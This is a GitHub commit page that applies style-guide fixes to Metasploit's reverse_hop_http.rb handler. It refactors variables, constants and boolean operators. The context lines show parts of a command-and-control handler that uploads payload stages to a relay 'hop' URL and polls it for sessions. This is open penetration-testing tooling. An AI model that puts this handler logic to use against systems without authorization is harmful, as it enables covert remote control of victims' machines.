Skip to content

Commit 16e1280

Browse files
committed
Style guide fixes.
1 parent a6a731c commit 16e1280

File tree

1 file changed

+22
-21
lines changed

1 file changed

+22
-21
lines changed

lib/msf/core/handler/reverse_hop_http.rb

Lines changed: 22 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -18,14 +18,23 @@ module ReverseHopHttp
1818

1919
include Msf::Handler::ReverseHttp
2020

21-
@@hophandlers = {} # Keeps track of what hops have active handlers
22-
2321
#
2422
# Magic bytes to know we are talking to a valid hop
2523
#
26-
def magic
27-
'TzGq'
28-
end
24+
MAGIC = 'TzGq'
25+
26+
# hop_handlers is a class-level instance variable
27+
class << self; attr_accessor :hop_handlers end
28+
attr_accessor :monitor_thread # :nodoc:
29+
attr_accessor :handlers # :nodoc:
30+
attr_accessor :mclient # :nodoc:
31+
attr_accessor :current_url # :nodoc:
32+
attr_accessor :control # :nodoc:
33+
34+
#
35+
# Keeps track of what hops have active handlers
36+
#
37+
@hop_handlers = {}
2938

3039
#
3140
# Returns the string representation of the handler type
@@ -63,18 +72,18 @@ def start_handler
6372
}
6473
)
6574
#First we need to verify we will not stomp on another handler's hop
66-
if @@hophandlers.has_key? full_uri
75+
if ReverseHopHttp.hop_handlers.has_key?(full_uri)
6776
raise RuntimeError, "Already running a handler for hop #{full_uri}."
6877
end
69-
@@hophandlers[full_uri] = self
78+
ReverseHopHttp.hop_handlers[full_uri] = self
7079
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
7180
self) do |uri, hop_http|
7281
control = "#{uri.request_uri}control"
7382
hop_http.control = control
7483
hop_http.send_new_stage(control) # send stage to hop
7584
@finish = false
7685
delay = 1 # poll delay
77-
until @finish and hop_http.handlers.empty?
86+
until @finish && hop_http.handlers.empty?
7887
sleep delay
7988
delay = delay + 1 if delay < 10 # slow down if we're not getting anything
8089
crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control})
@@ -87,8 +96,7 @@ def start_handler
8796

8897
# validate response
8998
received = res.body
90-
magic = hop_http.magic
91-
next if received.length < 12 or received.slice!(0, magic.length) != magic
99+
next if received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC
92100

93101
# good response
94102
delay = 0 # we're talking, speed up
@@ -119,7 +127,7 @@ def start_handler
119127
end
120128
end
121129
hop_http.monitor_thread = nil #make sure we're out
122-
@@hophandlers.delete(full_uri)
130+
ReverseHopHttp.hop_handlers.delete(full_uri)
123131
end
124132
end
125133

@@ -172,8 +180,8 @@ def send_response(resp)
172180
#
173181
def full_uri
174182
uri = datastore['HOPURL']
175-
return uri if uri.end_with? '/'
176-
return "#{uri}/" if uri.end_with? '?'
183+
return uri if uri.end_with?('/')
184+
return "#{uri}/" if uri.end_with?('?')
177185
"#{uri}?/"
178186
end
179187

@@ -259,20 +267,13 @@ def send_new_stage(control)
259267
)
260268
res = self.mclient.send_recv(crequest)
261269
print_status("Uploaded stage to hop #{full_uri}")
262-
print_error(res.error) if res != nil and res.error
270+
print_error(res.error) if res != nil && res.error
263271

264272
#return conn info
265273
[conn_id, url]
266274
end
267275

268-
attr_accessor :monitor_thread # :nodoc:
269-
attr_accessor :handlers # :nodoc:
270-
attr_accessor :mclient # :nodoc:
271-
attr_accessor :current_url # :nodoc:
272-
attr_accessor :control # :nodoc:
273-
274276
end
275277

276278
end
277279
end
278-

0 commit comments

Comments
 (0)